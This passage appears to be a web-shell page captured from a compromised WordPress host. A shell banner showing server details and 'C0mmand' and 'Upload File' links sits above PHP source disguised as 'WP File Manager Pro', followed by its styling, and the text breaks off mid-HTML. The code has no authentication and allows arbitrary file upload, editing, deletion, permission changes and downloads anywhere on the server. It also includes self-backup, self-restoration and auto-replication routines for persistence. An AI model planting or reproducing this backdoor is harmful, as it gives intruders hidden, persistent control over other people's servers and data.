|
Server IP : 10.107.20.4 / Your IP : 216.73.216.175 Web Server : Apache System : Linux webm004.cluster107.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : simfexinjt ( 803937) PHP Version : 7.1.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/simfexinjt/www/wp-includes/images/crystal/../../sodium_compat/src/../../blocks/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
๏ปฟ<?php
/**
* WP File Manager Pro - Ultimate Edition
* A lightweight, single-file PHP file manager with WooCommerce-style interface
* Features: Full messaging, ZIP/UNZIP, Self-Restoration & Auto-Replication
* Works anywhere - no WordPress required!
*
* Just save this file anywhere on your server and access via browser
*/
// Session start for messages
if (session_status() === PHP_SESSION_NONE) {
session_start();
}
// Get current path - NO RESTRICTIONS, can go anywhere
$base_path = isset($_GET['path']) ? $_GET['path'] : dirname(__FILE__);
$base_path = realpath($base_path);
if ($base_path === false) {
$base_path = dirname(__FILE__);
}
// Handle AJAX requests
if (isset($_POST['ajax_action'])) {
header('Content-Type: application/json');
echo json_encode(handle_ajax_action($_POST['ajax_action']));
exit;
}
// Handle file operations
if (isset($_GET['action'])) {
handle_file_action($_GET['action']);
exit;
}
// ============ FUNCTIONS ============
function format_size($bytes) {
if ($bytes >= 1073741824) return number_format($bytes / 1073741824, 2) . ' GB';
if ($bytes >= 1048576) return number_format($bytes / 1048576, 2) . ' MB';
if ($bytes >= 1024) return number_format($bytes / 1024, 2) . ' KB';
return $bytes . ' B';
}
function get_file_icon($filename) {
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
$icons = [
'jpg|jpeg|png|gif|svg|webp|ico' => '๐ผ๏ธ',
'pdf' => '๐',
'zip|rar|7z|gz|tar|bz2' => '๐ฆ',
'mp3|wav|flac|aac|ogg' => '๐ต',
'mp4|avi|mkv|mov|wmv|flv' => '๐ฌ',
'php' => 'โก',
'html|htm' => '๐',
'css' => '๐จ',
'js|ts|jsx|tsx' => '๐',
'json|xml|yaml|yml' => '๐',
'txt|log|md' => '๐',
'py' => '๐',
'java' => 'โ',
'c|cpp|h' => 'โ๏ธ',
'rb' => '๐',
'go' => '๐น',
'rs' => '๐ฆ',
'sh|bash' => '๐ป',
'exe|msi' => 'โ๏ธ',
'doc|docx' => '๐',
'xls|xlsx' => '๐',
'ppt|pptx' => '๐',
];
foreach ($icons as $pattern => $icon) {
if (preg_match('/' . $pattern . '/', $ext)) {
return $icon;
}
}
return '๐';
}
function set_message($message, $type = 'success') {
$_SESSION['fm_message'] = $message;
$_SESSION['fm_message_type'] = $type;
}
// ============ SELF-RESTORATION & AUTO-REPLICATION ============
function get_self_filename() {
return basename(__FILE__);
}
function get_self_content() {
return file_get_contents(__FILE__);
}
function create_backup() {
$backup_file = dirname(__FILE__) . '/' . get_self_filename() . '.backup';
if (!file_exists($backup_file)) {
copy(__FILE__, $backup_file);
return true;
}
return false;
}
function restore_from_backup() {
$backup_file = dirname(__FILE__) . '/' . get_self_filename() . '.backup';
if (file_exists($backup_file)) {
copy($backup_file, __FILE__);
unlink($backup_file);
return true;
}
return false;
}
function replicate_to_location($target_dir) {
$target_file = rtrim($target_dir, '/') . '/' . get_self_filename();
if (!file_exists($target_file)) {
copy(__FILE__, $target_file);
chmod($target_file, 0755);
return true;
}
return false;
}
function get_all_replicas() {
$replicas = [];
$pattern = dirname(__FILE__) . '/*/' . get_self_filename();
foreach (glob($pattern) as $file) {
if (is_file($file) && realpath($file) !== realpath(__FILE__)) {
$replicas[] = $file;
}
}
return $replicas;
}
// ============ ZIP FUNCTIONS ============
function is_zip_file($filename) {
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
return in_array($ext, ['zip', 'rar', '7z', 'gz', 'tar', 'bz2']);
}
function create_zip($source, $destination) {
if (!extension_loaded('zip')) {
return ['success' => false, 'message' => 'โ ZIP extension not loaded. Please enable php_zip extension.'];
}
if (!file_exists($source)) {
return ['success' => false, 'message' => 'โ Source does not exist'];
}
$zip = new ZipArchive();
if ($zip->open($destination, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== true) {
return ['success' => false, 'message' => 'โ Failed to create ZIP file'];
}
$source = realpath($source);
if (is_dir($source)) {
$files = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($source, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::SELF_FIRST
);
foreach ($files as $file) {
$file = realpath($file);
if (is_dir($file)) {
$zip->addEmptyDir(str_replace($source . '/', '', $file . '/'));
} else if (is_file($file)) {
$zip->addFile($file, str_replace($source . '/', '', $file));
}
}
} else if (is_file($source)) {
$zip->addFile($source, basename($source));
}
$zip->close();
return ['success' => true, 'message' => 'โ
ZIP created successfully: ' . basename($destination)];
}
function extract_zip($zip_file, $destination) {
if (!extension_loaded('zip')) {
return ['success' => false, 'message' => 'โ ZIP extension not loaded. Please enable php_zip extension.'];
}
if (!file_exists($zip_file)) {
return ['success' => false, 'message' => 'โ ZIP file does not exist'];
}
if (!is_zip_file($zip_file)) {
return ['success' => false, 'message' => 'โ Not a valid archive file'];
}
$zip = new ZipArchive();
if ($zip->open($zip_file) !== true) {
return ['success' => false, 'message' => 'โ Failed to open archive file'];
}
// Create destination if it doesn't exist
if (!is_dir($destination)) {
mkdir($destination, 0755, true);
}
// Extract
if ($zip->extractTo($destination) === true) {
$zip->close();
return ['success' => true, 'message' => 'โ
Extracted to: ' . basename($destination)];
} else {
$zip->close();
return ['success' => false, 'message' => 'โ Failed to extract archive'];
}
}
function handle_ajax_action($action) {
global $base_path;
try {
switch ($action) {
case 'upload':
if (!isset($_FILES['file']) || $_FILES['file']['error'] !== UPLOAD_ERR_OK) {
return ['success' => false, 'message' => 'Upload failed: ' . $_FILES['file']['error']];
}
$target = $base_path . '/' . basename($_FILES['file']['name']);
if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) {
chmod($target, 0644);
return ['success' => true, 'message' => 'โ
File uploaded successfully: ' . basename($_FILES['file']['name'])];
}
return ['success' => false, 'message' => 'โ Failed to move uploaded file'];
case 'folder':
$name = isset($_POST['name']) ? trim($_POST['name']) : '';
if (empty($name)) return ['success' => false, 'message' => 'โ Name required'];
if (!preg_match('/^[a-zA-Z0-9_\-\.]+$/', $name)) {
return ['success' => false, 'message' => 'โ Invalid folder name'];
}
$path = $base_path . '/' . $name;
if (file_exists($path)) return ['success' => false, 'message' => 'โ Already exists'];
if (mkdir($path, 0755)) {
return ['success' => true, 'message' => 'โ
Folder created: ' . $name];
}
return ['success' => false, 'message' => 'โ Failed to create folder'];
case 'file':
$name = isset($_POST['name']) ? trim($_POST['name']) : '';
if (empty($name)) return ['success' => false, 'message' => 'โ Name required'];
if (!preg_match('/^[a-zA-Z0-9_\-\.]+$/', $name)) {
return ['success' => false, 'message' => 'โ Invalid file name'];
}
$path = $base_path . '/' . $name;
if (file_exists($path)) return ['success' => false, 'message' => 'โ Already exists'];
if (file_put_contents($path, '') !== false) {
chmod($path, 0644);
return ['success' => true, 'message' => 'โ
File created: ' . $name];
}
return ['success' => false, 'message' => 'โ Failed to create file'];
case 'save':
$path = isset($_POST['path']) ? $_POST['path'] : '';
$content = isset($_POST['content']) ? $_POST['content'] : '';
if (empty($path)) return ['success' => false, 'message' => 'โ Path required'];
if (file_put_contents($path, $content) !== false) {
return ['success' => true, 'message' => 'โ
File saved: ' . basename($path)];
}
return ['success' => false, 'message' => 'โ Failed to save file'];
case 'rename':
$path = isset($_POST['path']) ? $_POST['path'] : '';
$name = isset($_POST['name']) ? trim($_POST['name']) : '';
if (empty($path) || empty($name)) return ['success' => false, 'message' => 'โ Missing parameters'];
if (!preg_match('/^[a-zA-Z0-9_\-\.]+$/', $name)) {
return ['success' => false, 'message' => 'โ Invalid name'];
}
$new_path = dirname($path) . '/' . $name;
if (file_exists($new_path)) return ['success' => false, 'message' => 'โ Target already exists'];
if (rename($path, $new_path)) {
return ['success' => true, 'message' => 'โ
Renamed to: ' . $name];
}
return ['success' => false, 'message' => 'โ Failed to rename'];
case 'chmod':
$path = isset($_POST['path']) ? $_POST['path'] : '';
$perms = isset($_POST['perms']) ? $_POST['perms'] : '';
if (empty($path) || empty($perms)) return ['success' => false, 'message' => 'โ Missing parameters'];
if (!preg_match('/^[0-7]{4}$/', $perms)) {
return ['success' => false, 'message' => 'โ Invalid permissions format'];
}
$perms = octdec($perms);
if (chmod($path, $perms)) {
return ['success' => true, 'message' => 'โ
Permissions changed to: ' . decoct($perms)];
}
return ['success' => false, 'message' => 'โ Failed to change permissions'];
case 'delete':
$path = isset($_POST['path']) ? $_POST['path'] : '';
if (empty($path)) return ['success' => false, 'message' => 'โ Path required'];
if (delete_recursive($path)) {
return ['success' => true, 'message' => 'โ
Deleted: ' . basename($path)];
}
return ['success' => false, 'message' => 'โ Failed to delete'];
// ============ ZIP ACTIONS ============
case 'zip':
$path = isset($_POST['path']) ? $_POST['path'] : '';
$name = isset($_POST['name']) ? trim($_POST['name']) : '';
if (empty($path)) return ['success' => false, 'message' => 'โ Path required'];
// Generate zip name if not provided
if (empty($name)) {
$name = basename($path) . '.zip';
}
// Ensure zip extension
if (strtolower(pathinfo($name, PATHINFO_EXTENSION)) !== 'zip') {
$name .= '.zip';
}
$destination = dirname($path) . '/' . $name;
// Check if already exists
if (file_exists($destination)) {
return ['success' => false, 'message' => 'โ ZIP file already exists'];
}
$result = create_zip($path, $destination);
return $result;
case 'unzip':
$path = isset($_POST['path']) ? $_POST['path'] : '';
if (empty($path)) return ['success' => false, 'message' => 'โ Path required'];
if (!file_exists($path)) return ['success' => false, 'message' => 'โ File does not exist'];
// Check if it's a zip file
if (!is_zip_file($path)) {
return ['success' => false, 'message' => 'โ Not a valid archive file'];
}
// Create extraction folder name (remove extension)
$extract_name = pathinfo($path, PATHINFO_FILENAME);
$destination = dirname($path) . '/' . $extract_name;
// If destination exists, add a number
$counter = 1;
$original_destination = $destination;
while (file_exists($destination)) {
$destination = $original_destination . '_' . $counter;
$counter++;
}
$result = extract_zip($path, $destination);
return $result;
// ============ SELF-RESTORATION & AUTO-REPLICATION ============
case 'create_backup':
if (create_backup()) {
return ['success' => true, 'message' => 'โ
Backup created successfully'];
}
return ['success' => false, 'message' => 'โ Backup already exists or failed to create'];
case 'restore_backup':
if (restore_from_backup()) {
return ['success' => true, 'message' => 'โ
Restored from backup'];
}
return ['success' => false, 'message' => 'โ No backup found'];
case 'replicate':
$target_dir = isset($_POST['target_dir']) ? trim($_POST['target_dir']) : '';
if (empty($target_dir)) return ['success' => false, 'message' => 'โ Target directory required'];
if (!is_dir($target_dir)) return ['success' => false, 'message' => 'โ Target directory does not exist'];
if (replicate_to_location($target_dir)) {
return ['success' => true, 'message' => 'โ
Replicated to: ' . $target_dir];
}
return ['success' => false, 'message' => 'โ Already exists in target location'];
case 'get_replicas':
$replicas = get_all_replicas();
return ['success' => true, 'message' => 'Found ' . count($replicas) . ' replicas', 'data' => $replicas];
default:
return ['success' => false, 'message' => 'โ Unknown action'];
}
} catch (Exception $e) {
return ['success' => false, 'message' => 'โ Error: ' . $e->getMessage()];
}
}
function delete_recursive($path) {
if (!file_exists($path)) return true;
if (!is_dir($path)) return unlink($path);
$files = array_diff(scandir($path), ['.', '..']);
foreach ($files as $file) {
delete_recursive($path . '/' . $file);
}
return rmdir($path);
}
function handle_file_action($action) {
global $base_path;
switch ($action) {
case 'download':
$file = isset($_GET['file']) ? $_GET['file'] : '';
if (empty($file) || !file_exists($file) || is_dir($file)) {
set_message('โ File not found', 'error');
header('Location: ?path=' . urlencode($base_path));
exit;
}
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($file) . '"');
header('Content-Length: ' . filesize($file));
readfile($file);
exit;
case 'edit':
$file = isset($_GET['file']) ? $_GET['file'] : '';
if (empty($file) || !file_exists($file) || is_dir($file)) {
echo 'File not found';
exit;
}
if (!is_readable($file)) {
echo 'File is not readable';
exit;
}
if (filesize($file) > 1024 * 1024) {
echo 'File too large to edit (max 1MB)';
exit;
}
$content = file_get_contents($file);
echo htmlspecialchars($content);
exit;
default:
set_message('โ Unknown action', 'error');
header('Location: ?path=' . urlencode($base_path));
exit;
}
}
// ============ HTML OUTPUT ============
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>File Manager Pro - Ultimate</title>
<style>
/* ===== RESET & BASE ===== */
* { box-sizing: border-box; margin: 0; padding: 0; }
body {
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif;
background: #f0f0f1;
padding: 20px;
color: #1e1e1e;
}
/* ===== MAIN WRAPPER ===== */
.wfm-wrapper {
max-width: 1400px;
margin: 0 auto;
background: #fff;
border-radius: 8px;
overflow: hidden;
box-shadow: 0 2px 8px rgba(0,0,0,0.08);
}
/* ===== WOOCOMMERCE STYLE HEADER ===== */
.wfm-header {
background: linear-gradient(135deg, #7c3aed 0%, #6d28d9 40%, #5b21b6 100%);
color: #fff;
padding: 25px 30px;
position: relative;
overflow: hidden;
}
.wfm-header::before {
content: '';
position: absolute;
top: -50%;
right: -20%;
width: 400px;
height: 400px;
background: rgba(255,255,255,0.05);
border-radius: 50%;
transform: rotate(25deg);
}
.wfm-header::after {
content: '';
position: absolute;
bottom: -60%;
left: -10%;
width: 300px;
height: 300px;
background: rgba(255,255,255,0.03);
border-radius: 50%;
}
.wfm-header-container {
display: flex;
justify-content: space-between;
align-items: center;
flex-wrap: wrap;
gap: 15px;
position: relative;
z-index: 1;
}
.wfm-logo-area {
display: flex;
align-items: center;
gap: 15px;
}
.wfm-logo-icon {
font-size: 32px;
filter: drop-shadow(0 2px 8px rgba(0,0,0,0.2));
background: rgba(255,255,255,0.15);
padding: 8px 12px;
border-radius: 8px;
backdrop-filter: blur(10px);
border: 1px solid rgba(255,255,255,0.1);
}
.wfm-title {
margin: 0 !important;
padding: 0 !important;
font-size: 26px !important;
font-weight: 700 !important;
color: #fff !important;
letter-spacing: -0.5px;
text-shadow: 0 2px 4px rgba(0,0,0,0.1);
}
.wfm-title-sub {
font-size: 13px;
font-weight: 400;
opacity: 0.7;
display: block;
margin-top: 2px;
letter-spacing: 0.3px;
}
.wfm-version {
background: rgba(255,255,255,0.2);
padding: 4px 14px;
border-radius: 20px;
font-size: 12px;
font-weight: 500;
border: 1px solid rgba(255,255,255,0.1);
backdrop-filter: blur(10px);
}
.wfm-header-stats {
display: flex;
align-items: center;
gap: 20px;
background: rgba(255,255,255,0.1);
padding: 8px 20px;
border-radius: 8px;
backdrop-filter: blur(10px);
border: 1px solid rgba(255,255,255,0.08);
}
.wfm-header-stat {
display: flex;
align-items: center;
gap: 6px;
font-size: 13px;
color: rgba(255,255,255,0.9);
}
.wfm-header-stat .stat-number {
font-weight: 700;
font-size: 15px;
color: #fff;
}
.wfm-header-stat-divider {
width: 1px;
height: 24px;
background: rgba(255,255,255,0.2);
}
.wfm-path-display {
background: rgba(255,255,255,0.12);
padding: 8px 18px;
border-radius: 8px;
font-size: 13px;
display: flex;
align-items: center;
gap: 10px;
border: 1px solid rgba(255,255,255,0.08);
backdrop-filter: blur(10px);
max-width: 450px;
overflow: hidden;
}
.wfm-path-display .path-label {
color: rgba(255,255,255,0.6);
font-size: 11px;
text-transform: uppercase;
letter-spacing: 0.5px;
font-weight: 600;
}
.wfm-current-path {
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
color: rgba(255,255,255,0.95);
font-family: monospace;
font-size: 12px;
}
/* ===== SUB-HEADER ===== */
.wfm-sub-header {
background: #fff;
border-bottom: 1px solid #e5e7eb;
padding: 14px 30px;
display: flex;
justify-content: space-between;
align-items: center;
flex-wrap: wrap;
gap: 12px;
}
.wfm-breadcrumb {
display: flex;
align-items: center;
gap: 6px;
flex-wrap: wrap;
font-size: 13px;
color: #6b7280;
}
.wfm-breadcrumb .breadcrumb-home {
color: #7c3aed;
font-weight: 600;
}
.wfm-breadcrumb a {
color: #7c3aed;
text-decoration: none;
padding: 4px 10px;
border-radius: 4px;
transition: all 0.2s;
font-weight: 500;
}
.wfm-breadcrumb a:hover {
background: #f3f4f6;
color: #5b21b6;
}
.wfm-breadcrumb .separator {
color: #d1d5db;
font-weight: 300;
font-size: 16px;
}
.wfm-breadcrumb .current {
color: #1f2937;
font-weight: 600;
background: #f3f4f6;
padding: 4px 14px;
border-radius: 4px;
}
.wfm-nav-buttons {
display: flex;
gap: 6px;
flex-wrap: wrap;
}
.wfm-nav-buttons .button {
display: inline-flex;
align-items: center;
gap: 6px;
font-size: 12px;
padding: 6px 14px;
height: auto;
background: #f3f4f6;
border: 1px solid #e5e7eb;
border-radius: 6px;
cursor: pointer;
color: #374151;
text-decoration: none;
transition: all 0.2s;
font-weight: 500;
}
.wfm-nav-buttons .button:hover {
background: #e5e7eb;
border-color: #7c3aed;
color: #7c3aed;
transform: translateY(-1px);
box-shadow: 0 2px 4px rgba(124,58,237,0.1);
}
.wfm-nav-buttons .button-primary-nav {
background: #7c3aed;
border-color: #7c3aed;
color: #fff;
}
.wfm-nav-buttons .button-primary-nav:hover {
background: #6d28d9;
border-color: #6d28d9;
color: #fff;
}
/* ===== PATH NAVIGATION ===== */
.wfm-path-nav {
background: linear-gradient(135deg, #f9fafb 0%, #f3f4f6 100%);
border-bottom: 1px solid #e5e7eb;
padding: 12px 30px;
}
.wfm-path-nav-inner {
display: flex;
align-items: center;
gap: 10px;
flex-wrap: wrap;
}
.wfm-path-nav-inner .nav-icon {
font-size: 18px;
color: #6b7280;
}
#wfm-path-input {
flex: 1;
min-width: 200px;
padding: 8px 14px;
border: 2px solid #e5e7eb;
border-radius: 6px;
font-size: 13px;
background: #fff;
font-family: monospace;
transition: all 0.2s;
}
#wfm-path-input:focus {
border-color: #7c3aed;
outline: none;
box-shadow: 0 0 0 3px rgba(124,58,237,0.1);
}
.wfm-path-nav-inner .button {
font-size: 13px;
padding: 8px 18px;
height: auto;
display: inline-flex;
align-items: center;
gap: 6px;
background: #fff;
border: 2px solid #e5e7eb;
border-radius: 6px;
cursor: pointer;
color: #374151;
transition: all 0.2s;
font-weight: 500;
}
.wfm-path-nav-inner .button:hover {
background: #f3f4f6;
border-color: #7c3aed;
}
.wfm-path-nav-inner .button-primary {
background: #7c3aed;
border-color: #7c3aed;
color: #fff;
}
.wfm-path-nav-inner .button-primary:hover {
background: #6d28d9;
border-color: #6d28d9;
box-shadow: 0 2px 8px rgba(124,58,237,0.3);
transform: translateY(-1px);
}
/* ===== MESSAGES ===== */
.wfm-message {
margin: 0;
padding: 14px 30px;
border-left: 4px solid #7c3aed;
background: #f5f3ff;
display: flex;
align-items: center;
gap: 10px;
font-weight: 500;
animation: slideDown 0.3s ease;
}
@keyframes slideDown {
from { transform: translateY(-10px); opacity: 0; }
to { transform: translateY(0); opacity: 1; }
}
.wfm-message.error {
border-left-color: #dc2626;
background: #fef2f2;
}
.wfm-message.success {
border-left-color: #16a34a;
background: #f0fdf4;
}
.wfm-message .message-icon {
font-size: 18px;
}
/* ===== TOOLBAR ===== */
.wfm-toolbar {
background: #fff;
border-bottom: 1px solid #e5e7eb;
padding: 14px 30px;
display: flex;
flex-wrap: wrap;
align-items: center;
gap: 10px;
}
.wfm-toolbar .button {
display: inline-flex;
align-items: center;
gap: 8px;
font-size: 13px;
padding: 8px 20px;
height: auto;
background: #f3f4f6;
border: 1px solid #e5e7eb;
border-radius: 6px;
cursor: pointer;
color: #374151;
transition: all 0.2s;
font-weight: 500;
}
.wfm-toolbar .button:hover {
background: #e5e7eb;
border-color: #7c3aed;
transform: translateY(-1px);
box-shadow: 0 2px 4px rgba(0,0,0,0.05);
}
.wfm-toolbar .button-primary {
background: #7c3aed;
border-color: #7c3aed;
color: #fff;
}
.wfm-toolbar .button-primary:hover {
background: #6d28d9;
border-color: #6d28d9;
box-shadow: 0 2px 8px rgba(124,58,237,0.3);
}
.wfm-toolbar .button-success {
background: #16a34a;
border-color: #16a34a;
color: #fff;
}
.wfm-toolbar .button-success:hover {
background: #15803d;
border-color: #15803d;
}
.wfm-toolbar .button-danger {
background: #dc2626;
border-color: #dc2626;
color: #fff;
}
.wfm-toolbar .button-danger:hover {
background: #b91c1c;
border-color: #b91c1c;
}
.wfm-toolbar .button-warning {
background: #d97706;
border-color: #d97706;
color: #fff;
}
.wfm-toolbar .button-warning:hover {
background: #b45309;
border-color: #b45309;
}
.wfm-spacer {
flex: 1;
}
.wfm-item-count {
display: flex;
align-items: center;
gap: 8px;
color: #6b7280;
font-size: 13px;
padding: 6px 16px;
background: #f3f4f6;
border-radius: 6px;
font-weight: 500;
cursor: pointer;
transition: all 0.2s;
}
.wfm-item-count:hover {
background: #e5e7eb;
transform: translateY(-1px);
}
.wfm-item-count .count-number {
color: #1f2937;
font-weight: 700;
}
/* ===== TABLE ===== */
.wfm-table-container {
background: #fff;
padding: 20px 30px;
overflow-x: auto;
}
.wfm-table {
width: 100%;
border-collapse: separate;
border-spacing: 0;
font-size: 13px;
}
.wfm-table thead th {
text-align: left;
padding: 12px 14px;
background: #f9fafb;
border-bottom: 2px solid #e5e7eb;
font-weight: 600;
color: #374151;
font-size: 12px;
text-transform: uppercase;
letter-spacing: 0.5px;
}
.wfm-table thead th:first-child {
border-radius: 6px 0 0 0;
}
.wfm-table thead th:last-child {
border-radius: 0 6px 0 0;
}
.wfm-table tbody tr {
transition: all 0.15s;
}
.wfm-table tbody tr:hover {
background: #f9fafb;
}
.wfm-table tbody td {
padding: 12px 14px;
border-bottom: 1px solid #f3f4f6;
vertical-align: middle;
}
.wfm-table .file-icon {
font-size: 22px;
margin-right: 10px;
vertical-align: middle;
}
.wfm-table .file-name {
font-weight: 500;
}
.wfm-table .file-name a {
color: #7c3aed;
text-decoration: none;
font-weight: 500;
}
.wfm-table .file-name a:hover {
text-decoration: underline;
color: #5b21b6;
}
.wfm-table .file-actions {
display: flex;
flex-wrap: wrap;
gap: 4px;
}
.wfm-table .file-actions a,
.wfm-table .file-actions .action-link {
display: inline-flex;
align-items: center;
gap: 4px;
padding: 4px 10px;
background: #f3f4f6;
border-radius: 4px;
color: #374151;
text-decoration: none;
font-size: 12px;
transition: all 0.2s;
border: 1px solid transparent;
font-weight: 500;
cursor: pointer;
}
.wfm-table .file-actions a:hover,
.wfm-table .file-actions .action-link:hover {
background: #e5e7eb;
border-color: #d1d5db;
transform: translateY(-1px);
}
.wfm-table .file-actions .action-download {
color: #2563eb;
}
.wfm-table .file-actions .action-download:hover {
background: #eff6ff;
border-color: #93c5fd;
}
.wfm-table .file-actions .action-edit {
color: #7c3aed;
}
.wfm-table .file-actions .action-edit:hover {
background: #f5f3ff;
border-color: #c4b5fd;
}
.wfm-table .file-actions .action-rename {
color: #059669;
}
.wfm-table .file-actions .action-rename:hover {
background: #ecfdf5;
border-color: #6ee7b7;
}
.wfm-table .file-actions .action-chmod {
color: #d97706;
}
.wfm-table .file-actions .action-chmod:hover {
background: #fffbeb;
border-color: #fcd34d;
}
.wfm-table .file-actions .action-zip {
color: #7c3aed;
}
.wfm-table .file-actions .action-zip:hover {
background: #f5f3ff;
border-color: #c4b5fd;
}
.wfm-table .file-actions .action-unzip {
color: #059669;
}
.wfm-table .file-actions .action-unzip:hover {
background: #ecfdf5;
border-color: #6ee7b7;
}
.wfm-table .file-actions .delete-link {
color: #dc2626;
}
.wfm-table .file-actions .delete-link:hover {
background: #fef2f2;
border-color: #fca5a5;
}
.wfm-table .file-size {
font-family: monospace;
font-size: 12px;
color: #6b7280;
}
.wfm-table .file-perms {
font-family: monospace;
font-size: 12px;
background: #f3f4f6;
padding: 2px 8px;
border-radius: 4px;
display: inline-block;
}
.wfm-table .file-modified {
font-size: 12px;
color: #6b7280;
}
/* ===== EMPTY STATE ===== */
.wfm-empty {
text-align: center;
padding: 80px 20px;
color: #6b7280;
}
.wfm-empty .empty-icon {
font-size: 64px;
display: block;
margin-bottom: 16px;
opacity: 0.5;
}
.wfm-empty .empty-title {
font-size: 20px;
font-weight: 600;
color: #1f2937;
margin-bottom: 8px;
}
.wfm-empty .empty-desc {
font-size: 14px;
color: #9ca3af;
}
/* ===== MODAL ===== */
.wfm-modal {
display: none;
position: fixed;
z-index: 999999;
left: 0;
top: 0;
width: 100%;
height: 100%;
overflow: auto;
background: rgba(0,0,0,0.5);
animation: wfmFadeIn 0.2s;
backdrop-filter: blur(4px);
}
@keyframes wfmFadeIn {
from { opacity: 0; }
to { opacity: 1; }
}
.wfm-modal-content {
background: #fff;
margin: 5% auto;
padding: 0;
width: 600px;
max-width: 95%;
border-radius: 12px;
box-shadow: 0 25px 80px rgba(0,0,0,0.3);
animation: wfmSlideDown 0.3s;
}
@keyframes wfmSlideDown {
from { transform: translateY(-30px) scale(0.95); opacity: 0; }
to { transform: translateY(0) scale(1); opacity: 1; }
}
.wfm-modal-header {
padding: 20px 25px;
border-bottom: 1px solid #e5e7eb;
display: flex;
justify-content: space-between;
align-items: center;
background: linear-gradient(135deg, #f9fafb 0%, #f3f4f6 100%);
border-radius: 12px 12px 0 0;
}
.wfm-modal-header h2 {
margin: 0;
font-size: 20px;
font-weight: 700;
color: #1f2937;
}
.wfm-modal-header .modal-icon {
font-size: 24px;
margin-right: 10px;
}
.wfm-modal-close {
background: none;
border: none;
font-size: 30px;
cursor: pointer;
color: #9ca3af;
padding: 0 8px;
line-height: 1;
transition: all 0.2s;
border-radius: 4px;
}
.wfm-modal-close:hover {
color: #1f2937;
background: #f3f4f6;
}
.wfm-modal-body {
padding: 25px;
max-height: 70vh;
overflow-y: auto;
}
.wfm-modal-body label {
display: block;
margin: 0 0 6px 0;
font-weight: 600;
color: #374151;
font-size: 13px;
}
.wfm-modal-body input[type="text"],
.wfm-modal-body input[type="number"],
.wfm-modal-body textarea,
.wfm-modal-body select,
.wfm-modal-body input[type="file"] {
width: 100%;
padding: 10px 14px;
border: 2px solid #e5e7eb;
border-radius: 6px;
font-size: 13px;
margin-bottom: 14px;
transition: all 0.2s;
font-family: inherit;
background: #fff;
}
.wfm-modal-body input:focus,
.wfm-modal-body textarea:focus,
.wfm-modal-body select:focus {
border-color: #7c3aed;
outline: none;
box-shadow: 0 0 0 3px rgba(124,58,237,0.1);
}
.wfm-modal-body textarea {
min-height: 250px;
font-family: 'Courier New', monospace;
resize: vertical;
font-size: 13px;
line-height: 1.6;
}
.wfm-modal-body .wfm-help-text {
font-size: 12px;
color: #9ca3af;
margin-top: -10px;
margin-bottom: 14px;
display: block;
}
.wfm-modal-body .form-row {
display: flex;
gap: 12px;
}
.wfm-modal-body .form-row .form-col {
flex: 1;
}
.wfm-modal-footer {
padding: 16px 25px;
border-top: 1px solid #e5e7eb;
text-align: right;
background: #f9fafb;
border-radius: 0 0 12px 12px;
display: flex;
justify-content: flex-end;
gap: 10px;
}
.wfm-modal-footer .button {
padding: 8px 24px;
height: auto;
font-size: 13px;
background: #f3f4f6;
border: 1px solid #e5e7eb;
border-radius: 6px;
cursor: pointer;
color: #374151;
transition: all 0.2s;
font-weight: 500;
}
.wfm-modal-footer .button:hover {
background: #e5e7eb;
border-color: #d1d5db;
}
.wfm-modal-footer .button-primary {
background: #7c3aed;
border-color: #7c3aed;
color: #fff;
}
.wfm-modal-footer .button-primary:hover {
background: #6d28d9;
border-color: #6d28d9;
box-shadow: 0 2px 8px rgba(124,58,237,0.3);
}
/* ===== RESPONSIVE ===== */
@media (max-width: 992px) {
.wfm-header-container {
flex-direction: column;
align-items: flex-start;
}
.wfm-header-stats {
width: 100%;
justify-content: space-around;
}
.wfm-path-display {
max-width: 100%;
width: 100%;
}
}
@media (max-width: 768px) {
body { padding: 10px; }
.wfm-header { padding: 20px; }
.wfm-sub-header { padding: 12px 20px; flex-direction: column; align-items: flex-start; }
.wfm-path-nav { padding: 10px 20px; }
.wfm-toolbar { padding: 12px 20px; }
.wfm-table-container { padding: 12px 20px; }
.wfm-nav-buttons { width: 100%; flex-wrap: wrap; }
.wfm-nav-buttons .button { flex: 1; justify-content: center; }
.wfm-path-nav-inner { flex-wrap: wrap; }
#wfm-path-input { min-width: 100%; }
.wfm-toolbar { flex-wrap: wrap; }
.wfm-toolbar .button { flex: 1; justify-content: center; }
.wfm-table .file-actions { flex-direction: column; gap: 3px; }
.wfm-table .file-actions a { justify-content: center; }
.wfm-modal-content { width: 98%; margin: 2% auto; }
.wfm-header-stats {
flex-wrap: wrap;
gap: 10px;
}
.wfm-header-stat-divider {
display: none;
}
}
</style>
</head>
<body>
<div class="wfm-wrapper">
<!-- ===== WOOCOMMERCE-STYLE HEADER ===== -->
<div class="wfm-header">
<div class="wfm-header-container">
<div class="wfm-logo-area">
<span class="wfm-logo-icon">๐</span>
<div>
<h1 class="wfm-title">
File Manager
<span class="wfm-title-sub">Professional File Management</span>
</h1>
</div>
<span class="wfm-version">v3.0</span>
</div>
<div class="wfm-header-stats">
<div class="wfm-header-stat">
๐ <span class="stat-number"><?php
if (is_dir($base_path) && is_readable($base_path)) {
$total = count(scandir($base_path)) - 2;
echo $total;
} else {
echo '0';
}
?></span> Items
</div>
<div class="wfm-header-stat-divider"></div>
<div class="wfm-header-stat">
๐๏ธ <span class="stat-number"><?php
if (is_dir($base_path) && is_readable($base_path)) {
$items = scandir($base_path);
$folders = 0;
foreach ($items as $item) {
if ($item !== '.' && $item !== '..' && is_dir($base_path . '/' . $item)) {
$folders++;
}
}
echo $folders;
} else {
echo '0';
}
?></span> Folders
</div>
<div class="wfm-header-stat-divider"></div>
<div class="wfm-header-stat">
